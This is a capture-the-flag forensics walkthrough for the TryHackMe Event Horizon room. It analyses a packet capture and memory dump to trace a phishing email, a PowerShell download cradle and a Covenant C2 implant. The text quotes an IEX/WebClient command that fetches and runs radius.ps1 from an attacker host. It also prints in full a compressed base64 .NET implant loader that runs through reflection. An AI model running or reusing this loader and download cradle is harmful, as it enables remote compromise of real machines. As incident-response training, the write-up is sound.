Post

TryHackMe: Event Horizon CTF Walkthrough

TryHackMe: Event Horizon CTF Walkthrough

🧰 Writeup Overview

This walkthrough explains how to analyze and decrypt Covenant C2 traffic to uncover attacker actions and recover.

We have a zip file evidence-1724741326043.zip that contains the network capture file .pcapng & memory dump of the PowerShell process .DMP.

Event Horizon CTF Challenge | TryHackMe Icon

1
2
3
4
unzip evidence-1724741326043.zip
Archive:  evidence-1724741326043.zip
  inflating: traffic.pcapng          
  inflating: powershell.DMP 

Protocols Overview

We can quickly find out which protocols are being used.

1
tshark -r traffic.pcapng -q -z protocols

To quickly analyze network traffic in Wireshark, use the Statistics Module → Protocol Hierarchy option.

Key observations:

1️⃣ HTTP Dominates Data (31.3% bytes)

Content Breakdown:

  • Text (29.9%)
  • JPEG (22.6%)
  • PNG (5.5%)

→ Image-heavy web browsing (e.g., websites, downloads).

2️⃣ Email Traffic

  • POP3 (17.5% packets): Frequent email retrieval (no IMAP detected).
  • SMTP (occasional): Outbound emails.

3️⃣ Background Protocols Minimal IPv6/ICMPv6. Standard DNS/mDNS/LLMNR for name resolution.

Notable Absence: IMAP protocol (common for synced email) is not present—suggests email is fetched via POP3 (local retrieval, not server synchronization).POP vs IMAP

Conclusion: Active web browsing (image/text-heavy) and email via POP3/SMTP (no IMAP usage detected).


Credentials for the email service

Q1: The attacker was able to find the correct pair of credentials for the email service. What were they? Format: email:password ?

We have several of solutions :

Using Tshark With POP

TSHARK.DEV Icon

Basically, we could use Wireshark but we used Tshark for practical on new technologies.

Basic POP3 Traffic Overview:

As we can see below, brute force attacks on the POP protocol have been detected.

1
tshark -r traffic.pcapng -Y 'pop' | (head -n 15; echo "\n ...\n"; tail -n 15)

The error occurs because tshark is trying to decrypt SMB traffic using a provided key file or a session key but encounters a formatting issue in the key. This is unrelated to POP analysis.

POP is easier with tshark because it uses plaintext by default, allowing direct inspection of emails and credentials without decryption hurdles.

You can use 2>/dev/null to suppress stderr errors

1
tshark -r traffic.pcapng -Y 'pop' -T fields -e pop.request.command | grep -E 'USER|PASS'

OR

1
tshark -r traffic.pcapng -Y 'pop' -T fields -e pop.request.command | tail 2>/dev/null
1
2
3
4
5
6
7
PASS
PASS

PASS
PASS

PASS

The +OK Mailbox pop message is not a standard or recognized response for the POP3 protocol. The standard initial greeting from a POP3 server is +OK POP3 server ready followed by a server identifier, such as “+OK POP3 server ready 1896.697170952@dbc.mtview.ca.us”, However, we will use +OK Mailbox as a valid response in this case.

Finds TCP streams containing POP server success responses "+OK Mailbox" to identify successful authentication sessions.

1
tshark -r traffic.pcapng -Y 'frame contains "+OK Mailbox"' -T fields -e tcp.stream 2>/dev/null

Displays the last 12 lines of the reassembled ASCII content from TCP stream 1486, showing the end of that communication session.

1
tshark -r traffic.pcapng -z follow,tcp,ascii,1486 2>/dev/null | tail -n 12

Finds POP TCP streams that exclude common commands (Send/USER/PASS) and error responses, potentially revealing other POP operations.

1
tshark -r traffic.pcapng -Y 'pop && !(frame contains "Send") && !(frame contains "USER") && !(frame contains "PASS") && !(frame contains "ERR")' -T fields -e tcp.stream 2>/dev/null 

To follow a specific TCP stream, replace NumTcpStream with the actual stream number like below:

Use Firefox browser if you have trouble playing the video.

OR if you want to follow all streams one by one, you can use a loop:

haha the secret -q This will leave you with only the clean, reassembled ASCII content of each TCP stream, which is exactly what you want for analyzing the actual application-layer data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#Method 1: Using sed to remove headers/footers
for NumTcpStream in $(seq 1470 1487); do
    echo "=== TCP Stream $NumTcpStream ==="
    tshark -r traffic.pcapng -q -z "follow,tcp,ascii,$NumTcpStream" 2>/dev/null | sed '1,6d' | sed '$d'
    echo -e "\n"
done

# Method 2: Using for loop with pipe (cleaner output)
#for NumTcpStream in $(seq 1470 1487); do
#    echo "=== TCP Stream $NumTcpStream ==="
    # -q: quiet mode (suppresses packet count)
    # tail -n +7: removes first 6 lines of header
    # head -n -1: removes last line of footer
#    tshark -r traffic.pcapng -q -z "follow,tcp,ascii,$NumTcpStream" 2>/dev/null | tail -n +7 | head -n -1
#    echo -e "\n"
#done

Using Wireshark

option | Using SMTP Protocol

After using this filter smtp || pop or just ‘smtp’ as you can see I found AUTH login (valid credentials), which just needs to be decoded from base64 to plaintext.

1
echo -n "dG9tLmRvbUBldmVudGhvcml6b24udGht" | base64 -d; echo -n ":"; echo "cGFzc3dvcmQ=" | base64 -d

Then we can Follow TCP Stream to see result of process email login, We will benefit from this message So we will come back to it later.

Extended Simple Mail Transfer Protocol ESMTP is an extension of SMTP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
220 mail.eventhorizon.thm ESMTP

EHLO kali

250-mail.eventhorizon.thm
250-SIZE 20480000
250-AUTH LOGIN
250 HELP

AUTH LOGIN

334 VXNlcm5hbWU6

dG9tLmRvbUBldmVudGhvcml6b24udGht

334 UGFzc3dvcmQ6

cGFzc3dvcmQ=

235 authenticated.

MAIL FROM:<tom.dom@eventhorizon.thm>

250 OK

RCPT TO:<dom.mark@eventhorizon.thm>

250 OK

DATA

354 OK, send.

Message-ID: <830733.649755956-sendEmail@kali>
From: "tom.dom@eventhorizon.thm" <tom.dom@eventhorizon.thm>
To: "dom.mark@eventhorizon.thm" <dom.mark@eventhorizon.thm>
Subject: Event Horizon
Date: Tue, 27 Aug 2024 06:36:41 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----MIME delimiter for sendEmail-633366.747832955"

This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.

------MIME delimiter for sendEmail-633366.747832955
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Tom! I have done it! [REDACTED]

------MIME delimiter for sendEmail-633366.747832955
Content-Type: application/octet-stream;
        name="eventhorizon.ps1"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="eventhorizon.ps1"

IyBDb25zdGFudHMKJEcgPSA2LjY3NDMwZS0xMSAgIyBHcmF2aXRhdGlvbmFsIGNvbnN0YW50ICht
XjMga2deLTEgc14tMikKJEMgPSAyOTk3OTI0NTggICAgIyBTcGVlZCBvZiBsaWdodCAobS9zKQok
c29sYXJNYXNzID0gMS45ODllMzAgICMgTWFzcyBvZiB0aGUgU3VuIChrZykKCiMgRnVuY3Rpb24g
dG8gY2FsY3VsYXRlIHRoZSBTY2h3YXJ6c2NoaWxkIHJhZGl1cyBvZiBhIGJsYWNrIGhvbGUKZnVu
Y3Rpb24gR2V0LVNjaHdhcnpzY2hpbGRSYWRpdXMgewogICAgcGFyYW0gKAogICAgICAgIFtkb3Vi
bGVdJG1hc3MgICMgTWFzcyBvZiB0aGUgYmxhY2sgaG9sZSAoa2cpCiAgICApCiAgICByZXR1cm4g
KDIgKiAkRyAqICRtYXNzKSAvICgkQyAqICRDKQp9CgojIEZ1bmN0aW9uIHRvIGNhbGN1bGF0ZSB0
aGUgbWFzcyBvZiBhIGJsYWNrIGhvbGUgZ2l2ZW4gaXRzIHJhZGl1cwpmdW5jdGlvbiBHZXQtQmxh
Y2tIb2xlTWFzcyB7CiAgICBwYXJhbSAoCiAgICAgICAgW2RvdWJsZV0kcmFkaXVzICAjIFJhZGl1
cyBvZiB0aGUgYmxhY2sgaG9sZSAobSkKICAgICkKICAgIHJldHVybiAoJHJhZGl1cyAqICRDICog
JEMpIC8gKDIgKiAkRykKfQoKIyBHaXZlbiByYWRpdXMgb2YgdGhlIFN1biAoYXBwcm94aW1hdGUp
CiRzdW5SYWRpdXMgPSA2Ljk2MzQyZTggICMgUmFkaXVzIG9mIHRoZSBTdW4gKG1ldGVycykKCiMg
Q2FsY3VsYXRlIHRoZSBtYXNzIG9mIGEgYmxhY2sgaG9sZSB3aXRoIHRoZSBzYW1lIHJhZGl1cyBh
cyB0aGUgU3VuCiRibGFja0hvbGVNYXNzID0gR2V0LUJsYWNrSG9sZU1hc3MgLXJhZGl1cyAkc3Vu
UmFkaXVzCgojIERpc3BsYXkgcmVzdWx0cwpXcml0ZS1PdXRwdXQgIlRoZSBtYXNzIG9mIGEgYmxh
Y2sgaG9sZSBCQiB3aGljaCBoYXMgdGhlIHNhbWUgcmFkaXVzIGFzIHRoZSBTdW4gaXMgYXBwcm94
aW1hdGVseSAkKCRibGFja0hvbGVNYXNzLzFlMzApIHNvbGFyIG1hc3Nlcy4iCldyaXRlLU91dHB1
dCAiSW4ga2lsb2dyYW1zLCB0aGlzIGlzIGFwcHJveGltYXRlbHkgJGJsYWNrSG9sZU1hc3Mga2cu
IgoKSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuZG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8x
MC4wLjIuNDUvcmFkaXVzLnBzMScpCg==

------MIME delimiter for sendEmail-633366.747832955--

.

250 Queued (1.079 seconds)

QUIT

221 goodbye

option || Using POP Protocol

Simply we using these filter to exclude(exception) brute force operations.

You have twice option:

  • pop && !(frame contains "Send") && !(frame contains "USER") && !(frame contains "PASS") && !(frame contains "ERR")
  • pop && !(frame contains "Send") && !(frame contains "USER") && !(frame contains "PASS") && !(frame contains "ERR") && (frame contains "+OK Mailbox")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+OK POP3
...
+OK Send your password

PASS jonathan

-ERR Invalid user name or password.
...
USER [REDACTED]

+OK Send your password

PASS [REDACTED]

+OK Mailbox locked and ready

Body of the email

Q2: What was the body of the email that was sent by the attacker?

We can access to body of email via Wireshark by filter smtp directly as shown above, OR as shown below.

1
tshark -r traffic.pcapng -Y 'smtp' 2>/dev/null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 4650  17.624532    10.0.2.46 → 10.0.2.45    SMTP 87 S: 220 mail.eventhorizon.thm ESMTP
 4652  17.624960    10.0.2.45 → 10.0.2.46    SMTP 65 C: EHLO kali
 4653  17.625033    10.0.2.46 → 10.0.2.45    SMTP 126 S: 250-mail.eventhorizon.thm | SIZE 20480000 | AUTH LOGIN | HELP
 4654  17.625405    10.0.2.45 → 10.0.2.46    SMTP 66 C: AUTH LOGIN
 4655  17.625457    10.0.2.46 → 10.0.2.45    SMTP 72 S: 334 VXNlcm5hbWU6
 4656  17.625832    10.0.2.45 → 10.0.2.46    SMTP 88 C: User: dG9tLmRvbUBldmVudGhvcml6b24udGht
 4657  17.625880    10.0.2.46 → 10.0.2.45    SMTP 72 S: 334 UGFzc3dvcmQ6
 4658  17.626247    10.0.2.45 → 10.0.2.46    SMTP 68 C: Pass: cGFzc3dvcmQ=
 4659  17.626644    10.0.2.46 → 10.0.2.45    SMTP 74 S: 235 authenticated.
 4660  17.626982    10.0.2.45 → 10.0.2.46    SMTP 92 C: MAIL FROM:<tom.dom@eventhorizon.thm>
 4661  17.627761    10.0.2.46 → 10.0.2.45    SMTP 62 S: 250 OK
 4662  17.628097    10.0.2.45 → 10.0.2.46    SMTP 91 C: RCPT TO:<dom.mark@eventhorizon.thm>
 4663  17.628245    10.0.2.46 → 10.0.2.45    SMTP 62 S: 250 OK
 4664  17.628586    10.0.2.45 → 10.0.2.46    SMTP 60 C: DATA
 4665  17.628827    10.0.2.46 → 10.0.2.45    SMTP 69 S: 354 OK, send.
 4666  17.629167    10.0.2.45 → 10.0.2.46    SMTP 426 C: DATA fragment, 372 bytes
 4667  17.629265    10.0.2.45 → 10.0.2.46    SMTP 1514 C: DATA fragment, 1460 bytes
 4669  17.629513    10.0.2.45 → 10.0.2.46    SMTP/IMF 810 from: "tom.dom@eventhorizon.thm" <tom.dom@eventhorizon.thm>, subject: Event Horizon,  (text/plain) | .
 4681  18.714166    10.0.2.46 → 10.0.2.45    SMTP 82 S: 250 Queued (1.079 seconds)
 4682  18.714885    10.0.2.45 → 10.0.2.46    SMTP 60 C: QUIT
 4685  18.715086    10.0.2.46 → 10.0.2.45    SMTP 67 S: 221 goodbye
1
tshark -r traffic.pcapng -Y 'frame contains "AUTH LOGIN"' -T fields -e tcp.stream 2>/dev/null  

The result is 1488

Finnaly you can get messege & other details

1
tshark -r traffic.pcapng -q -z follow,tcp,ascii,1488 2>/dev/null


Command initiated the malicious script download

Q3: What command initiated the malicious script download?

After decoding eventhorizon.ps1 using base64 as shown below, file uploaded that initiated the malicious script was located Which is known as radius.ps1.

1
IEX(New-Object Net.WebClient).downloadString('http://10.0.2.45/radius.ps1')

Command analysis:

  • First, the Rabbit hole It is represented in calculating mathematical equations & other stuff for distraction
  • IEX = Invoke-Expression - Executes PowerShell code directly
  • New-Object Net.WebClient = Creates a web client object to download content
  • .downloadString() = Downloads content as text/string
  • http://10.0.2.45/radius.ps1 = The malicious URL

Initial AES key

Q4: What is the initial AES key that is used for decrypting the C2 traffic?

Locate radius.ps1

Now we can locate file uploaded radius.ps1 via http traffic

Method | Using Wireshark

Search by this filter http.request.method == GET && frame contains "radius.ps1" OR http.request.method == GET && tcp contains "radius.ps1" then follow tcp OR http stream to get contant file

Method || Using Tshark

Basic POP3 Traffic Overview:

1
tshark -r traffic.pcapng -Y 'http'

Get frame:

1
tshark -r traffic.pcapng -Y 'frame contains "radius.ps1"' -T fields -e frame.number 2>/dev/null

Get tcp stream:

1
tshark -r traffic.pcapng -Y 'frame contains "radius.ps1"' -T fields -e tcp.stream 2>/dev/null

Follow tcp stram

1
tshark -r traffic.pcapng -q -Y 'tcp contains "radius.ps1"' -z follow,tcp,ascii,1489 2>/dev/null

Now will Extract all HTTP files from network traffic with one command for deep forensic analysis

1
tshark -r traffic.pcapng --export-objects http,./exported_http/


Reverse malicious script(reconstruct to binary)

The reconstructed binary from radius.ps1 is a .NETpayload associated with the Covenant C2 framework. Covenant is an open-source .NET-based command and control (C2) platform commonly used for remote access, post-exploitation and red team operations. By decompressing and analyzing the payload, we confirm that the attacker deployed Covenant C2 to maintain remote access and control over the compromised host.

Key points:

  • The PowerShell loader (radius.ps1) decompresses and loads a .NET assembly in-memory.
  • The assembly’s structure and behavior match known Covenant C2 implants.
  • This enables encrypted communication between the attacker and victim, using the initial AES key found earlier.

This step demonstrates how attackers use fileless techniques and C2 frameworks like Covenant to evade detection and persist in target environments.

1
sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('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'),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null

This script decodes and decompresses the payload, reconstructing the binary for further analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import zlib

compressed_base64 = """
Put base64 
"""
# Process the payload
clean_data = compressed_base64.strip()
compressed_bytes = base64.b64decode(clean_data)
decompressed_data = zlib.decompress(compressed_bytes, -15)  # -15 for raw DEFLATE

# Save output
with open('decompressed_payload.bin', 'wb') as f:
    f.write(decompressed_data)

print(f"Decompressed {len(decompressed_data)} bytes to decompressed.bin")

Locate Initial AES key

The hash confirms the integrity of the reconstructed binary. By examining the binary or related traffic, we can extract the initial AES key, which is required to decrypt Covenant C2 communications for forensic investigation.

1
2
sha256sum decompressed_payload.bin
b9ae45604a7ae33889d2e6b7f7a3c63e08b80a4f8ed40322d5f4f622aed4f0a9  decompressed_payload.bin

After reconstructing the binary, we search for the AES key used for encrypted C2 traffic. This key is often hardcoded or generated during implant setup.

To extract the AES key from the .NET payload, use a decompiler such as ILSpy For Linux or dnSpy For Windows).

Open decompressed_payload.bin in one of these programs to inspect the code and locate hardcoded cryptographic keys or configuration values.

So now We have Initial AES key as shown below:


Decrypt Covenant C2 traffic & Administrator NTLM hash

Q5: What is the Administrator NTLM hash that the attacker found?

We can manually decrypt C2 traffic using the AESSetupKey we have. The AESSetupKey is the initial key used by the Covenant implant to encrypt its RSA public key before sending it to the server. This allows the server to securely send back a session key, which is then used for all further encrypted communication.

To decrypt the traffic between the implant and the server, you can use tools like CyberChef or the specialized CovenantDecryptor Python tool. CovenantDecryptor automates the process: you provide the AESSetupKey and the captured traffic, and it extracts and decrypts the messages, revealing the actual commands and data.

CovenantDecryptor Icon

